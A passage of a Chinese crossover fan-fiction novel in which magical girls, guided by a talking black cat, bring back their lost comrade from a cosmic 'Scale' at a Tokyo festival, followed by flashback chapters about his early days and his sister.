一个非常陌生的声音突然响起。 在场的所有人瞬间身体绷紧，警戒心拉至最高—— 这个安全屋内汇聚着这么多的魔法少女，还有重力使、六眼这样的强者。 是谁居然能悄无声息地潜入这里？ 众人的目光齐刷刷转向声源处。 就在他们身旁的茶几上，一只黑猫不知怎的出现在那里，优雅地蹲坐着。显然刚才的声音是它发出来的。 “初次见面，你们好。” 黑猫从容不迫地打着招呼。 在经历了与那只又像兔子又像猫的白色生物的相处后，在场的人实在难以对这种会说话的可爱小动物放下戒心，即使对方目前看起来没有对他们的恶意。 菲茨杰拉德先开口：“请问你是？” “晓美焰。” 黑猫报出了一个人类的名字。 但这里没有任何人听过这个名字，他们谨慎地打量着眼前的黑猫。 其实，它看着就是一只普通的黑猫，身上没什么能量波动。如果是在路上偶遇它的话，他们估计都不会多投去几分目光。 唯一的特殊之处就是——它有一双异常漂亮的紫色眼瞳，深邃且璀璨。 第275章 “别紧张。” 黑猫不急不慢地道：“我是来给你们提供帮助的。” “……提供帮助？” 降谷零语气有些古怪。 眼前的场景愈发令人眼熟了——毕竟，上一个在他们陷入困境之时，突然出现说要帮助他们的就是丘比。 不过今时不同往日，经历了这么多事情，他们自然不会重蹈覆辙。 “是的，你们刚才不是在商量救回伊江君的事情么，我可以指导你们该怎么去做。” 黑猫停顿了两秒，补充道：“我和伊江君已经合作了六年，如今的局面正是我协助他实现的，我掌握的信息远比你们更多。” 虎杖悠仁不禁结巴了：“……伊、伊江君？” “怎么，需要这么惊讶吗？” 黑猫目光瞥向虎杖悠仁，语气淡然：“尽管一开始可能都会有点难以接受，但你们应该早就习惯魔法少女可能是男性这件事了吧。毕竟这个称呼，最初也只是丘比为了高效收集能量才采用的而已。” “不是，”虎杖悠仁试图解释：“我只是也认识一个姓伊江的人……” 仅靠伊江这个姓氏其实还不会多想什么，但问题是朔久（saku）先生和朔夜（sakuya）的名字也非常相似。 “伊江朔久吗？” 黑猫打断了对方的话，直白地道：“我们说的就是同一个人。” 虎杖悠仁的思绪一瞬间有些空白。 两者是同一个人？ 在知道了部分魔法少女其实是男性后，虎杖悠仁对于其他魔法少女的性别也早就有了充足的心理准备。 可是，虎杖悠仁倒是完全没想到朔夜原来就是自己认识的人。而且身体不太好，感觉很容易令人担心的伊江先生，其实居然那么强，甚至还总是以另一个身份来帮他们的忙。 这……完全难以想象。 松田阵平拍了拍粉黑发少女的肩膀，没说什么，留给了她一段时间自己去消化。 晓美焰了解伊江朔久这些年所做的事情，以及在不同人面前会表现出来不同的形象。但为了不让丘比注意到，他们的联系每次都极为短暂而隐蔽。 所以，她倒也不知道，伊江的两个身份是同一个人会这么让人感到难以置信。 黑猫的目光扫过了周围一圈人。 在晓美焰看来，这些魔法少女至今还不清楚彼此间的真实身份，实在是不太合适了。 虽然也能够理解——成年人之间要想互相理解信任本就要难一些，更何况他们本来都是男性，不少人的身份还都有着很大差异。 但是，如果现在还不能同心协力，不仅没办法让伊江朔久回来，可能反而会导致更大的麻烦。 而她正是为了保证未来的万无一失，才会选择主动给他们提供帮助的。 所以…… “没必要惊讶，伊江君的身份固然有着不少反差，但是你们其他人也并不差。” 晓美焰直接让在场的人都彻底坦诚相待了。 “黑手党干部、爆处组警察、东京高专咒术师、组合首领、武装侦探社社员……” 黑猫一边说着，一边看着相对应的那个人，明明白白地让他们都了解到了对方的真实身份。 现在也算是彻底公平了。 不像先前那样，有些人早就知道了其他人的身份，但自己的身份却还没被人知晓。 他们相互望了望彼此。 虽然场上有着黑手党与警察这样天然对立的身份关系，但此刻的气氛却意外的平和。 他们眼底尽管有闪过惊讶的情绪，可相处似乎依旧如常，又带上了些许微妙的释然之感。 除了朔夜之外的魔法少女，即使隐瞒了自己的真实身份，也没有刻意将自己时时当作另一个人去演戏、性格简直变得天差地别。 由此，其他人也就更好接受许多。 更何况已经相处了这么久的时间，纵然他们是以虚假的身份认识的，但也能多多少少窥见对方的一些真实。不需要在这种事情上多做无谓的纠结。 伏黑惠很快想通了这点，从思绪中抽离，随即便去询问此刻更重要的事情： “你说你是来帮助我们的对吧，那么你知道该怎么让朔……朔久回来？” 这个自称是晓美焰的特殊存在，了解他们这么多人的真实身份，连伊江朔久和丘比的信息都知道，可信度一下子就提高了许多。 之所以觉得对方大概率不是敌人，还是因为朔夜。 毕竟晓美焰知道这么多信息，肯定与魔法少女那些事有着不少联系。而朔夜向来计划周全，之前还一步步帮他们处理了一些棘手的敌人，估计不会漏掉这么大一个隐患。 “就像你们刚说的那样，利用‘天平’的能力。” 黑猫解释道：“祂如今确实还具有公平交换的能力，而且大概只有你们其中的几个人才有机会使用。” ……他们怎么使用朔夜的能力？ 萩原研二疑惑了片刻，忽然想起六年前濒死之时，迷糊间自己握上了朔夜的手，愿意将自己的一切交付给朔夜去赌最后的一线希望。 他迟疑地问：“你说的是我、津岛、仲野和砂糖吗？” 黑猫点了点头。 萩原研二明悟了……果然是这样。 朔夜接过了他们因果的重量，将希望的火苗汇聚成足以照亮黑暗的光明。也正是因此，他们如今才得以用自己曾经所付出的东西，找到解救对方的一丝机会。 “要想彻底将伊江君从‘天平’上剥离下来是不可能的，不仅会付出难以想象的巨大代价，还可能致使他这么久的努力与辛苦白费。” 黑猫接着说明了难点。 虎杖悠仁急道：“不是说有办法的吗？” 松田阵平琢磨着又念了遍“彻底”这个词，随即问黑猫：“那你觉得应该怎么做？” “交换拿回‘天平’中作为伊江朔久的个体的记忆与情感，使他得以用人类的那一部分身份回归原本的生活。” 黑猫不假思索地说着，就像是曾经做过类似的事情一样，确信着这件事的可行性： “最多只能做到这种程度了，这样才不会让‘天平’出什么问题。” 虽然晓美焰说的不是十全十美的方法，但在原本几乎不存在希望的情况下，能找到这样一个差强人意的方法已经值得庆幸了。 萩原研二忽然都觉得心底压着的某个重物变轻了一些。 希望终于不再是看不见摸不着的存在了。 “等等，我还有一些问题。” 这个时候，太宰治却突然开口对着黑猫道：“你早就知道朔久计划的最终结局，也知道可以用什么方法救他。但是，你却没有把这个方法告诉他吧。” “嗯。” 黑猫直接承认，又道：“但就算他知道有这个方法，也绝对不会用的。大概在他看来，和丘比同归于尽就是自己谋划了这么多后应有的最好结局。” 闻言，其他人的情绪有些复杂。 按照他们对伊江朔久的认识来看，晓美焰说的确实有道理。 太宰治却继续问：“还有，距离‘天平’诞生已经过去了很长一段时间，可你直到现在才来找我们。这又是为什么？” “你应该也猜到了吧。” 黑猫无奈地说：“确实，如果在几乎没有希望的时候，你们没有下定决心跨过重重险阻也要去解救他……我是不会出现在你们面前的。” 不少人一时怔住了。 萩原研二率先道：“是他先抓住了那份渺茫的希望，先做了这么多事情。我们又怎么可能将这些当作不存在。” “果然，和我猜测的一样，你们是会这么想的呢。” 黑猫不知想到了什么，语气都温和了一些。 “伊江君确实聪明、善于算计，又能够为自己的计划辛苦忍耐，甚至是割舍自己的情感和生命。” “但他却总是容易将自己看得太轻，在意的事情太多。眼里常常只能看见自己间接可能造成哪些祸事，习惯性地便忽略了自己所做的一切以及有多少人因他得救。” 黑猫停顿了几秒，轻声道：“而我……则能够理解被留下来的人的心情。” 其他人此刻隐约能看出，对方应该也有经历过类似的事情，或许也成为过被留下来的那个人。 伏黑惠不禁说道：“……谢谢。” “完全不需要谢我。我说了，如果你们没有下定决心的话，我是不会出现的。” 黑猫说：“我来找你们，也是为了目前的和平与安稳。避免你们一个不小心造成什么不好的影响，也牵连到我那边的世界。” 中原中也觉得对方的话语有点熟悉。 这种因为行动不够纯粹便不愿接受他人道谢、否认自己所做的好的那一面的感觉……还真是熟悉得令人胃痛。 虽然刚才那样说了伊江朔久，但对方其实也不擅于好好表达自己吧。 中原中也坚定地说：“不管怎么说，还是得谢谢你，切实的行动比其他什么都重要。” 菲茨杰拉德也跟着点了点头。 黑猫紫色的眸子闪了闪，语气貌似没什么变化：“我能帮上你们的忙也有限。虽然我刚说的方法能够解决一些困难，但这也不是万无一失的，还有别的问题需要靠你们自己去努力克服。” ……别的问题？ 也是——‘天平’看上去似乎超脱于此世而存在。除了第一次看见祂之外，其余几次祂出现的时候，具现化的程度都很低。 他们甚至都无法触碰到祂，那具体要怎样使用祂的能力？ 还有，该用什么样的代价作为交换？只是拿回伊江朔久作为人类的那部分记忆与情感，是否可以不需要付出过重的代价？ “我没办法帮你们抓住‘天平’。甚至我只是靠近祂，便会因为自己身上的气息而引起祂的本能警惕。” 黑猫望着他们：“所以，主要还是需要依靠你们。如果你们也没办法接触祂、没办法利用到祂的能力，那我就再也无能为力了。” 萩原研二倒也没有气馁。 “既然已经有可行的道路摆在我们面前，那就一遍遍去试出正确的方法好了，总会成功的吧。” “嗯！”虎杖悠仁应道：“我也是这么想的。不管怎样困难，总该努力地去尝试，毕竟我们是同伴啊。” 仿佛哪句话触动了对方，黑猫忽然这么说道： “……曾经，我也无数次重来、无数次失败，为了试出拯救某个人的方法，险些陷入永恒的迷宫。” 萩原研二愣住了。 中原中也看着对方问：“那你最终成功了吗？” “成功了。” 晓美焰回想着那个粉发少女真切的笑容，语气顿时又轻松了许多，如实说道：“也是多亏了伊江君的计划。所以，如果你们需要帮助的话，可以随时联系我。” 中原中也笑了，钴蓝色的眼睛一如既往的明亮。 “那么……” “我们也一定会成功的。” 第276章 就这样，时间一天天悄然流逝着。 他们一次次地尝试着，也一次次地失败着。 ‘天平’出现的时机最初很难把握。 尽管发现‘天平’喜欢出现在人群聚集的场所，尤其是在集体情绪有着剧烈波动的时候。 但毕竟祂每次出现的时间都非常短暂，他们很难次次精准赶上。很多时候即使赶到了，祂也可能会虚化得还没让人看清便又消失了。 而就算好不容易接近‘天平’，却也根本无法触碰到祂——‘天平’的存在就像是水中的月亮，伸手去捞的时候，便会立刻消散无踪。 所以，尝试找寻正确方法的过程非常耗费时间。 在失败成为了常态之后，他们不可避免地也会偶尔感到气馁。 又一次新年的钟声敲响之时。 曾经的、现在的魔法少女都聚在一起，安全屋的桌子上摆满了各式各样的料理，壁炉的火光将周围人的脸庞都映得温暖柔和…… 一切看上去都足够美好，唯独沙发上特意空出来了一个位置。 每当有人目光扫过这处空缺，总会下意识想起有一个人现在不在这里，情绪也便忽然停滞一瞬。 但就算如此，他们也默契地保留着这个空位，连拍合照的时候也是如此。 “我们……真的还能再见到他吗？” 偶尔产生这样的担忧与怀疑也是正常的，没有人能够坦然面对仿佛看不到尽头的失败。 然而—— 他们从未停下脚步。 “总得尽力试试吧。” 希望纵然难以寻觅，但如果放弃了，才会真正丧失值得期待的未来的可能性。 渐渐地，微小的变化开始出现。 他们逐渐掌握了‘天平’可能会出现的规律。甚至学会了如何引导‘天平’主动找过来，并能够让祂停留的时间增长、形体更加具象化。 虽然‘天平’总是迅速虚化逃离，但魔法少女们的魔法终于开始能引起祂微弱的共鸣。 而如今已经不再是魔法少女的五条悟、萩原研二和中原中也，配合着其他人的行动，也能够做到让‘天平’减少他人靠近时的抗拒，让牵动‘天平’能力的尝试更加顺利一点。 直到……两三年之后。 东京这座城市重新被建好，新栽下的樱花树第一次绽放出满枝繁华。 他们总结了以往无数次失败的经验，终于在这座重生的城市里，铺开了那张谋划许久的网——以魔法少女的名义，举办一场前所未有的盛大庆典。 这本身就是一场奇迹。 现如今已经很久没有魔女使魔的出现了。魔法少女不再需要保护民众，也不再需要战斗，便差不多成了民众心中如同吉祥物一般的存在。 近年来，魔法少女们露面的次数也是少得可怜。她们原以为，自己就算还没有被彻底遗忘，影响力也一定大不如前。 然而—— 刚刚传出要举办庆典的消息，便立刻有了巨大的反响。 庆典的当天，来参加的人更是多得数不胜数，让东京这座城市竟然比以往任何时候都更要喧嚣热闹。 志愿者们自发装饰起彩带与横幅，五颜六色的气球在晴空下飘荡。街头巷尾街头巷尾摆满了各种互动游戏和小型展览，精心绘制的魔法少女海报贴满了每个显眼的角落。 一对平常的母女在某张海报前驻足。 四五岁的小女孩仰起头，被海报上容貌昳丽、装束奇特的少女们吸引了目光。 她年纪还小，已经记不得两三年前发生的事情了，只是好奇地拽了拽身旁母亲的衣角： “妈妈，海报上的姐姐是谁？” 那位年轻的妈妈也望着海报，目光温柔而怀念：“她们啊，是……很久以前，当可怕的怪物还在袭击人类时，保护过我们的人哦。” 她至今也还记得，当初在以为自己和孩子即将死去的最绝望的时刻，有一个魔法少女及时出现了。 对方身上满是血色，显然因为长久的战斗而过于狼狈，但还是站在了她们面前，以保护性的姿态与魔女战斗着。 可惜，她还没来得及向那个魔法少女道谢，对方就在解决敌人后匆匆离开、去救助下一个需要帮助的人了。 她至今还牢牢记得对方当时苍白的面色，以及身上不断扩散的血迹。 所以，即使后来偶尔有很少一部分人将魔法少女和魔女使魔联系到一起去，怀疑那些怪物的突然莫名出现和消失，是不是与她们有关，猜测她们背后或许有着什么阴谋诡计。 她也始终坚信—— 会那样拼上性命去保护陌生人的人，绝不会怀有恶意。 …… 此刻，降谷零站在高处隐蔽的位置，负责观察着底下人群的动向。 “没想到会有这么多人……” 她按住被风吹乱的鸭舌帽，这样喃喃着。 耳麦里传来其他人的声音——“是啊，而且现在庆典才刚开始，估计过一会儿人会更多”，“这样的话，成功的概率应该也就更大了吧”…… 虎杖悠仁稍微有点紧张地在问：“这一次真的会成功吗？” “会的。” 菲茨杰拉德安慰道：“已经提前做了那么多准备，一定没问题的。” 降谷零指节抵着耳麦，也准备跟同伴交流几句。但却在开口之前，余光突然捕捉到一抹白色—— 下方一个摊位旁边，有个白发青瞳的女子，正弯腰帮一个小孩子在手腕处系上气球线。 降谷零一个晃神，仿佛看到了许久未见的那个白发少女。 真的很像。 除了年龄明显差了太多之外，那个女性真的和朔夜很像，侧影和眉眼都让人有种熟悉而怀念的感觉。 但是……降谷零也知道，她不可能是朔夜。 “茂井幸樱……” 降谷零声音很轻地念着这个名字。【你现在阅读的是 】 【正文完】 第277章 “你看见了啊。” 耳麦里传来太宰治了然的声音。 降谷零一听就明白了，那个人出现在这里和太宰治有关，她无奈地问道：“茂井幸樱为什么会出现在这里？” 他们一起经历了这么多，再加上晓美焰的帮助，早已让他们增进了不少对彼此的了解。而那些曾被刻意隐藏的真相，如今也如拼图般逐渐完整。 “我是打算想办法引导她来的。”太宰治十分坦然地说：“但是还没来得及行动，便发现她本来就准备要来参加这次活动。” “本来……就会来？” 伏黑惠迟疑地出声，想起当初自家姐姐默不作声就识破了自己魔法少女身份的事，忍不住有点替朔夜担心。 太宰治宛如拥有读心术地说：“她还不知道关于伊江朔久的任何事，来这里也并没有什么目的。” 也是…… 萩原研二应声道：“这次庆典的规模这么大，她会来也不奇怪……”他顿了顿，语气变得认真，“不过，你是准备把过去的事情告诉她吗？” “没有。茂井幸樱什么都不记得，而伊江朔久也绝不希望她想起来，打扰她现在的生活。” 太宰治难得地犹豫了一瞬：“……要是我们擅自说了，他知道了或许会生气吧。” “但是，”他接着又话锋一转：“如果这次能将那家伙带回来，那就不一样了。” “有些事确实该让他自己去面对。等他回来之后……” 松田阵平接过话头，后半句却消散在空气中。 热闹的人群里，松田阵平隐蔽在其中，此刻目光穿过层层人影也落在那个白发女性身上。 这个角度远远地望过去，阳光为茂井幸樱周身镀上一层淡金色的柔光，她的侧影几乎与记忆中的身影重叠…… 看着就好像某个人已经回来了一样。 这次真的……能够成功吗？ 附近的欢笑声如潮水般涌来，他听见人们热烈地谈论着与魔法少女相关的事物。炽热的情感在空气中交织，形成某种无形的共鸣。 这次的庆典比想象中的更加盛大。如果连这样也不能成功的话……或许就真的再也没有希望了。 松田阵平忽然想起很久之前，伊江朔久跟他聊起hagi时所说过的话。 对方当时给他讲了一个故事。在故事里的世界，人死后会来到亡灵的世界，只有被所有人遗忘后才会迎来真正的死亡。 记忆里，伊江朔久的声音很轻很远。似乎跨过了漫长的时间，在此刻再次响起。 “只要你还记得他，他就会以另一种方式存在于这个世界。至少这样的死亡不会再令人感到孤独了……” 在失去自我、成为‘天平’的最后时刻，伊江朔久也是这样想的吗？ 他是抱着怎样的心情走向计划的最后一步的？ 尽管松田阵平没办法知道对方那时的想法，但此刻，站在沸腾的人海中，他忽然明白了那句话的另一层含义。 ——这个世界的所有人都见证着魔法少女们的故事。只要记忆不会消失，那么奇迹和希望就永远存在。 这或许就是伊江朔久留下来的最后告别。 "来了。" 耳麦里突然传来五条悟的提示。 他们几乎同一时间抬起头，视线穿过鼎沸人潮，落在高空之上——那里悬浮着一道只有他们能看见的虚影。 黑白相间的天平轮廓正在逐渐凝实，流转的光芒比以往任何一次都要清晰。 中原中也声音紧绷：“终于出现了，那就按照计划行动吧。” 一切有条不紊地进行着。 在通知下达之后，提前安排好的工作人员便立刻出面引导着，将‘天平’所在的区域与人群隔开，让人们暂时待在稍远些的位置。 然后，等到所有的魔法少女都接近了‘天平’，五条悟便及时布下了结界。 ——漆黑的结界将魔法少女们和‘天平’所在的这一大片区域全都笼罩在内。 周围的人群自然开始动荡，有工作人员扬声安抚道：“请不用担心，这是特别准备的惊喜环节！”，“请各位保持秩序，耐心等待！”…… 出于对魔法少女们的信任，人们的些许慌乱瞬时散去，取而代之的是对所谓惊喜的好奇，以及愈发热烈的情绪膨胀。 “什么惊喜？居然这么神秘。” “难道是朔夜要回来了……？！” “不可能吧，但是今天这个阵仗……朔夜真的会出现吗？” “……” 人们一边好奇地探讨着，一边努力看向结界的方向，还有人举起手机拍摄，却都只能看见一片深邃的黑暗。 而在漆黑的结界里，‘天平’终于凝实到了似乎可以触碰的地步，并且仅仅悬浮在离地不过一米的半空。 魔法少女们从未像现在一样离祂这么近。 可是她们却没有止步于此，而是继续一步步地靠近祂。 虽然像是感知到了不对劲，‘天平’的齿轮加快了转动的速度，周身微微颤动……但不论如何，‘天平’终究还是没有选择在这时离开。 当然，绝对不是因为祂逃不出这种结界。 而是…… 伏黑惠低头看了眼自己握在手中的灵魂宝石。 宝石处于被黑色污秽占据了大半的状态，原本的那抹幽绿显得很是黯淡。不过由于此刻‘天平’的作用，那些黑色污秽正在被快速净化。 为了这一天，她们提前将自己的灵魂宝石控制在了这种极限状态——既不使其足以吸引祂出现，又卡在必须解决的临界点之前。 “赌赢了。” 在这种时候，‘天平’果然没有提前离开。 魔法少女们如今和‘天平’的距离已经很接近了，近到能看清祂身上每一处精细复杂的纹路，并感受到愈发强烈的压迫感。 有人抬起手，随心地环抱住了这个巨大的怪物。 眼前‘天平’器械一般的身躯闪着冰冷的寒光，巨大尖锐的齿轮和链条能将人类的血肉轻易撕裂——可偏偏此刻，‘天平’却也突兀地停下了原本转动齿轮的动作。 祂似乎瑟缩了一下，巨大的身躯在微微颤动。 就算是这样，‘天平’也小心翼翼地收敛着力量，像是担心伤到渺小的人类，而这样的幅度连拥抱都挣脱不开。 萩原研二的声音有些发颤：“果然，还对我们留有印象吗？” 太宰治神情微动，耳边忽地回响起当初朔夜的那一句“我不会忘记你的。”……对方确实信守了承诺。 魔法少女们默契围拢过来。 以与‘天平’本源相似的气息作为引导，魔法少女们很熟练地使用魔法，牵动祂的能力。 到最后一步了。 他们不需要重塑世界，不需要颠覆法则……只是要从‘天平’那里，拿回作为伊江朔久的个体的记忆与情感，使他得以用人类的那一部分身份回归原本的生活。 仅此而已。 祈愿化作实质的光流，却没有预想中的那样付出过多的代价，甚至只是一些微不足道的情感上的能量。 五条悟先是感到诧异，又下意识地侧头看向漆黑的结界屏障，六眼看到了结界之外的景象。 ——人们聚集在那里，无数道好奇又期待的目光投向结界。祈愿的情感仿佛带着相同的温度，源源不断地汇聚于此。 是啊，并不只是他们希望伊江朔久能够回来。 这样庞大的希望影响了天平，所以…… ‘天平’突然安静下来，上方两端的托盘处迸发出刺目光芒—— 交易……成立了。 他们略带紧张地等待着。 终于，光芒中渐渐浮现出熟悉的轮廓，与记忆里的那个人分毫不差。 不知是谁先轻声开了口。 “好久不见，欢迎回来。” 随着声音的落下，那双青色的眼睛缓缓睁开——而停滞在过去的时间，终于也从这一刻开始重新流动。 —正文完—【你现在阅读的是 】 【番外合集】 第278章 往昔篇1 月亮被厚重的云层吞没，只偶尔露出几缕微弱的光芒。 深沉的夜幕下，一个十三四岁样子的白发少女正在快速前行，城市的霓虹早已消失在身后，四周只剩下荒芜的郊野。 她跟着某道魔女的气息追逐了很久。对方逃窜的痕迹时隐时现，特殊的红色黏液腐蚀着周遭的部分植被。 眼看着周遭的场景越来越荒凉，伊江朔久却并不着急，步伐依然又快又稳地缀在那只魔女后方。 虽然伊江朔久如今的真实年龄也只有十五岁，但毕竟当了快两年的魔法少女，有着足够的战斗经验。 更何况先前她已经伤到了那只魔女，只不过是它的速度快得超乎寻常、拼了命地逃走，才使得伊江朔久不得不追了这么远来……否则这颗悲叹之种早就该被她收入囊中。 终于，魔女在一片开阔的荒地上减缓了速度。 这里已经临近另一座城市的边缘。魔女似乎没有精力再逃下去了，或者也可能是意识到无法逃脱，于是突然回身向伊江朔久再次发起了攻击。 “嗖——” 异常锋利的几支灰色羽毛横扫而来。 早有防备的伊江朔久立即后仰避开，同时将箭矢搭上弓弦。 但魔女用着如同鬼魅般的速度，趁此机会飞快地贴近过来，露出了锋利的尖牙，逼得伊江朔久不得不放弃拉弓。 关键时刻，白发少女单手握住箭矢，狠狠一挥，将其插入了魔女的喉管处。 粘稠的血色液体喷溅开来，伊江朔久迅速后退，但还是几滴液体溅到握住箭矢的手臂上，上面顿时便被腐蚀出几个触目惊心的血洞。 伊江朔久咬牙忍痛，手臂有些不受控制地发颤。 但好在，这只魔女已经没有威胁了，身体无力地蜷缩成一团，发出微弱的嘶鸣。 就在伊江朔久准备彻底了结它的时候…… 不远处传来其他的响动，似乎有什么东西在靠近。 伊江朔久条件反射地做出戒备的动作，侧目看向声源方向——有两个陌生的少女出现在了那里。 其中高个子的那个少女披着栗色的及腰卷发，穿着改造过的格外繁丽的JK制服，蜜柑色的宝石点缀在领结上。 另一个银色齐耳短发的少女则穿着波西米亚风格的裙子，身上有许多闪亮的饰品，手里拿着一个璀璨夺目的手镜。 从气息和形象来看，她们也都是魔法少女。 “你好啊！我们之前没见过你，你是从别的城市追着这只魔女过来的吗？” 高个子的少女看起来颇为外向友善，快步走近过来。目光触及伊江朔久手臂上的伤势，她担忧地道：“你受伤了？” 伊江朔久没有回答，将本来要射向魔女的箭矢放了下来，甚至还后退了一小步。 “别担心，我们也是魔法少女。”高个子的少女立刻说道：“我叫菜美希，这是白亚。” 她指了指身旁的银发少女，脸上露出明媚的笑容，话语滔滔不绝地涌了出来： “之前这片区域的魔女一直是我们负责的。我可是超级强的，可以强制操控魔女使魔参与即兴演出哦。当然啦，白亚酱也不差，她的手镜也很厉害的。” 名叫白亚的银发少女腼腆地笑了一下。 “只不过……可惜我们都不会治疗。” 明明只是刚刚见面，但菜美希很熟练地与人快速拉近着距离，一看就很擅长交际： “但我还认识一个会控雨的魔法少女！她倒是比较擅长治疗，人也很好说话。我可以带你去找她。” “不用了。” 伊江朔久终于出声了，却是干脆利落的拒绝。 菜美希一时愣住了。 “抱歉。”伊江朔久停顿了片刻，再开口时声音却更加疏离：“我不知道这里是你们的地盘，下次我不会来了。” 白亚下意识地微微睁大了眼睛，也有点不知所措。 显然，她们两个是第一次遇见态度如此冷淡、甚至带着明显排斥的魔法少女同伴。 而伊江朔久说完后转身就走，连那个濒死的魔女都没再去管，反正这两个魔法少女肯定能够轻松解决的。 “等等，没关系的！我们下次可以一起行动——” “那个……悲叹之种……” 身后传来那两个魔法少女挽留和提醒的声音。 伊江朔久却没有回头，甚至还加快了脚步，一个人的身影很快便没入更深的夜色里…… 就像以往的很多次一样。 …… 回到家里的时候，已经是凌晨。 白发少女轻巧地翻上窗台，推开未锁的窗户，落进房间。这一系列动作几乎都没有发出什么声音。 但是…… 随着“啪嗒”的一声轻响，房间里的灯却突然亮了。 白发少女身体一僵，侧头望过去。 一个约莫19岁的少女站在那里。同样是白发青瞳，不过对方眼型偏圆一些，眉尾自然上扬，天生带着一种活泼明快的气质。 “朔夜酱。”对方稍稍拖长了尾音：“你终于回来喽。” “……嗯。” 伊江朔久解除了变身，恢复成15岁的少年模样。他微低下头，试图躲开自家姐姐的视线，还将受伤的手臂往身后藏了藏。 “别藏了，我都看到了。”伊江幸樱眉梢一挑，语气肯定：“你受伤了。” 伊江朔久声音有点闷闷的：“只是小伤，一会儿就好了。” 伊江幸樱没信，直接转身走向另一边，从抽屉里拿出医药箱，再回来对着少年道：“坐下，伸手。” 伊江朔久想要逃避。 但姐姐不容拒绝的目光让他沉默了一瞬，最终还是在床边坐了下来。 伊江幸樱拿着棉签，小心地为他处理着伤口。他手臂不觉有些绷紧，但始终没发出一点声音。 “真是惯会逞强。” 看着他默默忍痛的样子，伊江幸樱撇撇嘴抱怨着，动作却更加轻柔了些。 “这哪里算是小伤了？要是我不帮你处理的话，你不会就一直放着不管，直到发炎感染吧？” “……不会的，这伤很快就会好的。反正也有悲叹之种。” 伊江朔久小声地这么说了。 说完，他便后悔了。 ——因为姐姐的神情突然变得有些复杂，眼中夹杂了许多类似于担忧、愁闷的负面情绪。气氛也仿佛在一瞬间沉重了起来。 他知道对方在意着什么。 一两年前，在伊江幸樱重伤垂死堕落成魔女后，他与丘比签订了契约。 他成功地救回了自己唯一的家人，让对方能够作为正常人回到平凡而美好的日常生活里去，不再会轻易有死亡的风险。 但作为代价，从此他代替姐姐成为了魔法少女。 第279章 往昔篇2 “没关系的……” 伊江朔久尽量使自己的语气显得轻松一些，好让姐姐别那么担心。 “其实这也很好。只要收集了足够的悲叹之种，受多重的伤都不会有事。” “而且，我还学会了用潜意识操控着身体变化成长，这样就和其他正常人没什么区别了。我可以和你一起慢慢地成长、变老……”他扯起一丝笑容：“所以，真的没什么好担心的。” 伊江幸樱望着他。 半晌，她无奈地叹了口气：“……我担心的又不是这些。” 她的目光微微下移，放在伊江朔久被衣领半遮的项链上。尽管看不见，但她也能确定对方灵魂宝石的情况并不乐观。 没办法，她太了解自家这个惯会逞强的弟弟了。 “你的灵魂宝石……被污染的速度很快吧？” 伊江朔久的表情僵了一瞬，又很快恢复如常。 他抿了抿嘴：“还好，没有很快。我会努力提升自己，备好充足的悲叹之种的。” “又想糊弄我，别忘了我也做过魔法少女。” 伊江幸樱伸手揉了揉少年的头发：“明明你现在首要的问题，就是该好好调理一下自己的心理状态吧。” 白发少年沉默不语。 伊江幸樱转移话题，问道：“都这么久了，你还没有认识其他的一些魔法少女吗？” “……认识了。” 伊江幸樱倒是颇为意外，眼睛亮了亮：“是吗，那她们都叫什么名字？你怎么之前都没有跟我提起过？” “……菜美希、白亚。” 他报出了不久前才见过的那两个魔法少女的名字。 也是幸好，今天遇到的魔法少女上来就很友善地打招呼，并进行了自我介绍。 不然以伊江朔久孤僻的样子，估计再偶遇多少次别的魔法少女，都很难得知她们的名字。 “还有吗？” 伊江朔久顿了顿，从回忆里又艰难地翻出了一个名字：“还有……椿实。” 姐姐仍旧没有放过他，仿佛起了兴致般，喋喋不休地追问：“她们都是什么性格呢？你们平常合得来吗？有合作着一起去与魔女或使魔战斗吗？……” 这下子，伊江朔久没办法回答了。 他现在还没那么擅长编造谎言，最熟悉自己的人又一下子抛出了这么多问题，一般人都很难不露破绽。 他干脆放弃了回答。 “……朔久？” 伊江幸樱看明白了，幽幽地问道：“你跟她们完全都不熟吧。为什么你一个朋友也不交？明明之前也不是会社交困难的那种性格啊。” 他声音干涩地说：“……没有必要交朋友吧。” “怎么没有必要？有可以一起分担压力、共同前进的同伴是很重要的。而且万一遇到什么难解决的危险，有朋友帮忙肯定会更安全一些。” 确实如此，这些难以否认。 但是…… 伊江朔久就在这时，想起了自己刚从回忆里翻出来的那位魔法少女——椿实。 他只见过对方一面，恰巧还是在对方魔女化的时候。 黑发红瞳的少女扭曲膨胀，眨眼间就变成了足有六七层楼高的怪物，身体与手术台连接在一起，全身长满了锋利的骨刺。 “椿实……” 旁边作为同伴的另一位魔法少女发出痛苦的呼喊，泪水顺着脸颊滚落。她的指甲深深掐进掌心，鲜血滴落，却浑然不觉疼痛。 伊江朔久撞见这一幕，毫不迟疑地上去帮忙。 费了好一番功夫，她们两个才终于一起解决掉了这个新生的魔女。伊江朔久将悲叹之种交给了它曾经的同伴。 “谢谢你，真的……非常感谢。” 褐发蓝眼的少女珍惜地接过这颗悲叹之种，泪水又忍不住在眼眶里打转。 伊江朔久沉默地看着对方勉强整理完自己的情绪，片刻后才问道：“你早就知道魔法少女终会变成魔女？” “嗯。”褐发少女点了点头，垂眸道：“我六年前就和丘比签约了……应该算是最早的那批魔法少女吧。” “因为我当时和丘比签约的时候，问过它——我们没什么要对付的敌人和魔物之类的吗？动漫里似乎都是这样演的。” 她露出了一个比哭还难看的笑容：“那个时候，丘比说‘暂时没有哦’。我居然没有多想，还松了一口气。” “直到不久后，我的一个朋友由于频繁使用魔法、又找不到净化灵魂宝石的方法而变成了魔女。我才明白了。”她笑着又落下了泪水：“——原来我们就是今后的魔法少女需要对付的怪物啊。” 伊江朔久想说些什么，又觉得语言在此刻显得太过无力，只好静静地听着。 “也不知道是幸运还是不幸，偏偏是我一直活到了现在。而之前认识的不少朋友要么死了，要么成为了魔女。” 褐发少女紧紧攥着那颗悲叹之种，将它放在了贴近心脏的位置。 “连椿实也离开我了，明明她就是因为得了重病不想死掉，才和丘比签订了契约的，为什么……她的愿望根本就没有实现吧？” “我也不知道自己还能坚持多久了……有时候我总想，如果这一切只是一场噩梦就好了……” 说这些话的时候，少女身上佩戴的灵魂宝石在慢慢染上污浊。 伊江朔久看见了。 但他也知道，对方不需要他的提醒。 已经当了那么久的魔法少女，对方如果会随便失控也不可能活到现在。就算真的堕落成了魔女——也一定是她自己好好考虑之后的选择。 褐发少女的情绪确实没有失控太久。 说完这些压抑在心底很久的话，她用手抹掉眼泪，对伊江朔久说道：“抱歉，忍不住说了些多余的话。还没有问你的名字是？” “……不重要。” 